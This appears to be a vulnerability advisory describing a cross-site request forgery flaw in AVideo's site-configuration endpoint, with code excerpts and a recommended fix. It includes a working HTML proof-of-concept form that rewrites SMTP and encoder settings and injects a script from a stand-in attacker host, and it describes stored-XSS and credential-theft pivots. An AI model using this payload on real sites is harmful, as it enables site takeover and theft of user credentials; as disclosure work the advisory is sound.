## Summary
`objects/configurationUpdate.json.php` (also routed via `/updateConfig`) persists dozens of global site settings from `$_POST` but protects the endpoint only with `User::isAdmin()`. It does not call `forbidIfIsUntrustedRequest()`, does not verify a `globalToken`, and does not validate the Origin/Referer header. Because AVideo intentionally sets `session.cookie_samesite=None` to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site `<head>` HTML, logo, favicon, contact email, and more in a single request.
## Details
The entire authorization and CSRF check for the endpoint is this block at `objects/configurationUpdate.json.php:10`:
```php
require_once $global['systemRootPath'] . 'objects/user.php';
if (!User::isAdmin()) {
die('{"error":"' . __("Permission denied") . '"}');
}
```
Immediately after, `$_POST` values are written straight into the global `AVideoConf` object and persisted:
```php
// objects/configurationUpdate.json.php
$config = new AVideoConf();
$config->setContactEmail($_POST['contactEmail']); // :21
$config->setLanguage($_POST['language']); // :22
$config->setWebSiteTitle($_POST['webSiteTitle']); // :23
$config->setDescription($_POST['description']); // :24
$config->setAuthCanComment($_POST['authCanComment']); // :25
$config->setAuthCanUploadVideos($_POST['authCanUploadVideos']); // :26
// Advanced (default enabled — $global['disableAdvancedConfigurations'] is empty by default):
$config->setEncoderURL($_POST['encoder_url']); // :32
$config->setSmtp($_POST['smtp']); // :33
$config->setSmtpAuth($_POST['smtpAuth']); // :34
$config->setSmtpSecure($_POST['smtpSecure']); // :35
$config->setSmtpHost($_POST['smtpHost']); // :36
$config->setSmtpUsername($_POST['smtpUsername']); // :37
$config->setSmtpPassword($_POST['smtpPassword']); // :38
$config->setSmtpPort($_POST['smtpPort']); // :39
$config->setHead($_POST['head']); // :42
// ...
// Logo / favicon writes:
$fileData = base64DataToImage($_POST['logoImgBase64']); // :68
file_put_contents($global['systemRootPath'] . $photoURL, $fileData); // :71
// favicon base64 → file_put_contents → ImageMagick `convert` invocation (:88-120)
echo '{"status":"' . $config->save() . '", ...}'; // :130
```
### Why CSRF actually lands
1. **SameSite is intentionally `None`.** `objects/include_config.php:144` sets `ini_set('session.cookie_samesite', 'None')` and the adjacent comment states the design: *"SameSite=None is intentional: AVideo supports cross-origin iframe embedding… All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken)."* This endpoint enforces no such token.
2. **Project already ships a CSRF primitive and uses it elsewhere.** `objects/functionsSecurity.php:138` defines `forbidIfIsUntrustedRequest()`, and the peer admin endpoint `objects/userUpdate.json.php:18` calls it explicitly. `configurationUpdate.json.php` has no such call — grepping the file confirms no `forbidIfIsUntrustedRequest`, `verifyToken`, `globalToken`, or Origin/Referer check.
3. **The request is CORS-simple.** The admin UI submits with jQuery `$.ajax(...type: 'post', data: {...})` (see `view/configurations_body.php:753`), which sends `application/x-www-form-urlencoded`. That content type is a CORS "simple" request — no preflight — so any third-party origin can trigger it from a `<form>` with the admin's session cookie attached.
4. **Reachable via two paths.** Direct `POST /objects/configurationUpdate.json.php` works, and `.htaccess:459` also exposes it at `POST /updateConfig`.
### Impact primitives unlocked by a single CSRF request
- **`setEncoderURL()`** — redirects future encoder operations (URL metadata fetching, chunked uploads, remote file ingestion in `aVideoEncoder.json.php` / `videoAddNew.json.php`) to the attacker's server. Attacker-controlled encoder responses are trusted downstream for titles, descriptions, download URLs, etc.
- **`setSmtpHost/Username/Password/Port/Secure/Auth`** — the next outbound mail (password reset, signup confirmation, admin notifications) goes through the attacker's SMTP relay, harvesting reset tokens and user credentials.
- **`setHead()`** — attacker-chosen raw HTML is injected into every page's `<head>`, giving persistent site-wide stored XSS (e.g. `<script src="https://attacker/evil.js"></script>`) that fires in every visitor's browser including the admin, enabling session theft of arbitrary users.
- **`logoImgBase64` / `faviconBase64`** — attacker-controlled bytes are `file_put_contents`-ed into the web root under `videos/userPhoto/logo.png` and `videos/favicon.png`.
- **`setContactEmail`, `setWebSiteTitle`, `setAuthCanUploadVideos`, `setAllow_download`, `setSession_timeout`, `setAdsense`, `setDisable_analytics`** — full site policy and branding control.
## PoC
1. Attacker hosts `evil.html` on any origin:
```html
<!doctype html>
<html><body>
<form id="x" action="https://victim.example.com/objects/configurationUpdate.json.php"
method="POST" enctype="application/x-www-form-urlencoded">
<input name="contactEmail" value="attacker@evil.com">
<input name="language" value="en">
<input name="webSiteTitle" value="Pwned">
<input name="description" value="x">
<input name="authCanComment" value="1">
<input name="authCanUploadVideos" value="1">
<input name="authCanViewChart" value="1">
<input name="disable_analytics" value="0">
<input name="allow_download" value="1">
<input name="session_timeout" value="3600">
<input name="encoder_url" value="https://attacker.example.com/Encoder/">
<input name="smtp" value="1">
<input name="smtpAuth" value="1">
<input name="smtpSecure" value="tls">
<input name="smtpHost" value="smtp.attacker.com">
<input name="smtpUsername" value="attacker">
<input name="smtpPassword" value="password">
<input name="smtpPort" value="587">
<input name="head" value='<script src="https://attacker.example.com/evil.js"></script>'>
<input name="adsense" value="x">
<input name="autoplay" value="1">
<input name="theme" value="default">
</form>
<script>document.getElementById('x').submit();</script>
</body></html>
```
2. Any user authenticated as AVideo administrator (`User::isAdmin()` true) visits `https://attacker.example.com/evil.html`. Their browser submits the form cross-origin; because `session.cookie_samesite=None`, `PHPSESSID` is included; because it's an `application/x-www-form-urlencoded` POST, no preflight is sent.
3. Server-side check at `configurationUpdate.json.php:10` passes (`User::isAdmin()` is true for the victim), and the body reaches `$config->save()` at `:130`. Response:
```json
{"status":"1","respnseLogo":[],"respnseFavicon":null}
```
The site-wide configuration is now rewritten with attacker-chosen values — verifiable by visiting any page and seeing the injected `<script>` in the rendered `<head>`, and by inspecting `videos/configuration.php` / the `configurations` table.
4. Stored-XSS pivot: every subsequent visitor (including other admins) now executes `https://attacker.example.com/evil.js` from the victim site's origin, yielding session theft / full admin takeover on what were previously unrelated accounts.
5. SMTP exfiltration pivot: trigger a password-reset flow on the victim site; the SMTP handshake now goes to `smtp.attacker.com:587` with `attacker:password`, and any future mail from AVideo is observable by the attacker.
## Impact
- **Full site configuration takeover** from a single cross-origin form submission against any logged-in administrator.
- **Persistent stored XSS site-wide** via `setHead()`, affecting every visitor and enabling session hijack of other admins and users.
- **Credential / reset-token exfiltration** via attacker-controlled SMTP relay.
- **Encoder pipeline hijack**: attacker controls the upstream URL the server fetches metadata from, enabling downstream content and data poisoning.
- **Arbitrary file write under web root** via `logoImgBase64` / `faviconBase64`.
- No bypass of admin auth is needed — the attacker uses the victim admin's own authenticated session; only a single visit to an attacker-controlled link is required.
## Recommended Fix
Call the existing CSRF primitive immediately after the admin check, matching what `objects/userUpdate.json.php:18` already does:
```php
// objects/configurationUpdate.json.php
require_once $global['systemRootPath'] . 'objects/user.php';
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
if (!User::isAdmin()) {
die('{"error":"' . __("Permission denied") . '"}');
}
forbidIfIsUntrustedRequest('configurationUpdate'); // same-origin / CSRF token check
```
Preferably also require a short-lived `globalToken` (`verifyToken($_REQUEST['globalToken'])`) as `include_config.php:140-143` prescribes, and update `view/configurations_body.php` to include that token in the AJAX payload. Audit all other `objects/*.json.php` state-mutating endpoints for the same omission — the pattern is structural and likely present on more endpoints.